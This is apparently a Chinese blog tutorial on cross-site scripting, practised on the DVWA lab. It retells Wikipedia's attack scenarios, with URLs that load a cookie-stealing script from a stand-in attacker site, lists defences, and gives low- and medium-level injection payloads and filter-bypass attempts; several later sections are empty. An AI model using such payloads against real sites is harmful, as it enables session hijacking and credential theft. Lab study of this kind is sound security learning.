DVWA靶机练习之XSS

Posted by kevin on December 8, 2019

XSS是什么

XSS(cross-site-scripting) 即是跨站脚本攻击,是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。

简洁点来说,XSS 就是利用了网站对用户输入没有过滤完全的漏洞,上传恶意代码到网站页面上,使得其他用户加载页面时执行攻击者的恶意代码,达到窃取用户敏感信息(如 cookie)的目的,根据种类不同,一般又分为 反射型 XSS 攻击,存储型 XSS 攻击,DOM 型 XSS 攻击

Non-persistent (reflected)

反射型 XSS 攻击并不会将恶意脚本存储在服务端,需要用户在和后端交互时自己输入恶意的脚本,因此这种 XSS 攻击一般存在于钓鱼连接中,攻击者已经构造好一个包含恶意代码的链接,如果用户点击了这个链接,就会被窃取隐私信息,比如下面这个钓鱼链接就是个反射型 XSS 攻击脚本

http://bobssite.org/search?q=puppies<script>alert('document.cookie');</script>

Persistent (or stored)

存储型 XSS 攻击是将恶意脚本植入服务器端,这样每一次用户访问一个正常的页面时,恶意的代码都会被自动渲染,如果不能及时发现的话会对网站造成很大的影响,假如在一个访问量很大的页面启用 XSS 攻击访问另外的一个网站,则会造成 Dos 攻击的效果,这种 XSS 一般存在于留言板之类的应用中

DOM-based

DOM 型的 XSS 攻击不会将代码传到服务器端进行交互,所有的处理都由 JavaScript 完成,因此如果前端 JavaScript 没有对输入进行很好的过滤就会造成这种 XSS 攻击,一般 DOM 型的 XSS 攻击和反射型的 XSS 攻击最大的区别就是: DOM 型 XSS 是利用 JavaScript 的 document.writedocument.innerHTML 等函数来进行 HTML 注入

Wikipedia demo

这里是维基百科上关于 XSS 攻击的两个 demo ,包含持续性和非持续性两种例子

Non-persistent

  1. 爱丽丝经常访问由鲍勃(Bob)托管的特定网站。 Bob的网站允许 Alice 使用用户名/密码对登录并存储敏感数据,例如账单信息。 当用户登录时,浏览器会保留一个“授权 Cookie”,它看起来像一些垃圾字符,因此两台计算机(客户端和服务器)都具有她已登录的记录。
  2. Mallory 注意到 Bob 的网站包含一个反射型 XSS 漏洞:
    1. 当她访问“搜索”页面时,她在搜索框中输入搜索词,然后单击“提交”按钮。 如果未找到任何结果,则该页面将显示她搜索的字词,后跟“未找到”字样,其网址为 http://bobssite.org/search?q=her%20search%20term
    2. 使用正常的搜索查询(例如单词“ puppies”),页面仅显示“找不到小狗”,而网址为“ http://bobssite.org/search?q=puppies”-这是完全正常的行为
    3. 但是,当她提交异常的搜索查询时,例如“
      1. 出现一个警告框(显示 “ xss” )
      2. 该页面显示“未找到”,以及带有文本 “ xss” 的错误消息。
      3. 网址是 “ http://bobssite.org/search?q= <script%20type =’application / javascript’> alert(’xss’); </ script> - 这是可利用的行为
  3. Mallory制作了一个利用此漏洞的URL:
    1. 她制作了 URL http://bobssite.org/search?q=puppies<script%20src=“ http://mallorysevilsite.com/authstealer.js”> </ script>。 她可以选择使用百分比编码来对 ASCII 字符进行编码,例如 http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E,因此人类读者无法立即破译恶意 URL
    2. 她向鲍勃网站的一些毫无戒心的成员发送了一封电子邮件,说:“看看一些可爱的小狗!”
  4. 爱丽丝得到了电子邮件。 她喜欢小狗,然后单击链接。 它转到 Bob 的网站进行搜索,未找到任何内容,并显示“未找到小狗”,但在这之间,脚本标签运行(在屏幕上不可见)并加载并运行 Mallory 的程序 authstealer.js(触发 XSS 攻击), 爱丽丝并不知道。
  5. authstealer.js 程序在Alice的浏览器中运行,就像它起源于Bob的网站一样。 它获取 Alice 的 Authorization Cookie 的副本,并将其发送到 Mallory 的服务器,Mallory 在该服务器上检索它。
  6. Mallory 现在将 Alice 的授权 Cookie 放在自己的浏览器中,就好像是她自己的一样。 然后,她去了 Bob 的站点,现在以 Alice 的身份登录。
  7. 现在她进入了,Mallory 转到网站的 Billing 部分,查找 Alice 的信用卡号并获取一个副本。 然后她去更改密码,以使爱丽丝什至无法登录。
  8. 她决定更进一步,并向 Bob 自己发送类似的链接,从而获得 Bob 的网站管理员权限。

防治措施:

  1. 搜索框对用户输入进行过滤,其中包括正确的编码检查
  2. 服务器对错误的请求进行重定向
  3. 服务器检测到同时登录就使会话无效
  4. 服务器检测到同时在两个 ip 登录就使会话无效
  5. 网站只展示银行卡最后几位数字
  6. 在更改信息前让用户输入密码确认
  7. cookie 中设置 HttpOnly 字样防止通过 JavaScript 访问

Persistent

  1. Mallory 在 Bob 的网站上获得了一个帐户
  2. Mallory 发现 Bob 的网站包含一个存储型 XSS 漏洞。 如果转到“新闻”部分并发表评论,它将显示他输入的任何内容。 但是,如果注释文本中包含 HTML 标记,则标记将按原样显示,并且所有脚本标记都将运行
  3. Mallory 在“新闻”部分阅读文章,并在“评论”部分底部写评论。 她在评论中插入了这段文字:我喜欢这个故事中的幼犬! 他们是如此可爱!<script src =“ http://mallorysevilsite.com/authstealer.js”>
  4. 当爱丽丝(或其他人)用评论加载页面时,马洛里的脚本标签运行并窃取爱丽丝的授权 cookie,然后将其发送到 Mallory 的秘密服务器进行收集
  5. Mallory 现在可以劫持 Alice 的会话并假冒 Alice

防治措施:

  1. 对用户的 HTML 标签进行过滤
  2. 利用 token 技术,防止 CSRF 攻击

DVWA 案例

低级

XSS(DOM)

低级案例通过 GET 方法将下拉框选中的内容发送给本页面,如果有 default= 字样的话就进行接下去的操作,没有对输入进行任何过滤,因此在浏览器地址栏我们可以构造出以下 payload

http://localhost/dvwa/vulnerabilities/xss_d/?default=Spanish<script>alert(document.cookie);</script>

XSS(Reflected)

输入什么就返回什么,那我们也可以构造出一个 payload 来弹出 cookies

kevin<script>alert(document.cookie);</script>

XSS(Stored)

这是个留言本应用,经常会有存储型 XSS 漏洞,当存在这种漏洞时,如果有人恶意攻击了这个页面,那么随后访问的用户都会被利用,如果在页面中植入下面这个 payload,则后面访问的用户访问时都会弹出 cookies

Name: hacker
Message: jsfuck<script>alert(document.cookie);</script>

可以看到,植入代码之后,脚本就存储在了页面中,这是持久性的,只要管理员没有发现,就会一直有人受害

book.jpg

中级

XSS(DOM)

中级的案例对 <script 标签做了过滤,因此我们可以选择绕过,浏览器对大小写是不敏感的,因此我们可以将 script 大写,像下面这样

http://localhost/dvwa/vulnerabilities/xss_d/?default=Spanish<Script>alert(document.cookie);</Script>

然而事实证明,这种方法并没有卵用,不能绕过,看了源码,后端用了 stripos 函数过滤,这个函数是不区分大小写的,因此大写对他没用,直接把 script 给过滤了,因此我们考虑一下用另外一种标签,开始想到的是图片标签,构造一个不存在的图片

http://localhost/dvwa/vulnerabilities/xss_d/?default=Spanish<img src=233 onload=alert(document.cookie); hidden="true"/>

但是也没啥用,因为后面 JavaScript 将内容写进了 option 标签里面,而 option 里面是不能放图片的,所以此路不通,那就再换一个思路,

XSS(Reflected)

XSS(Stored)

高级

XSS(DOM)

XSS(Reflected)

XSS(Stored)

不可能

XSS(DOM)

XSS(Reflected)

XSS(Stored)

summary

永远不要相信用户的输入,不要被局限,万物皆可 XSS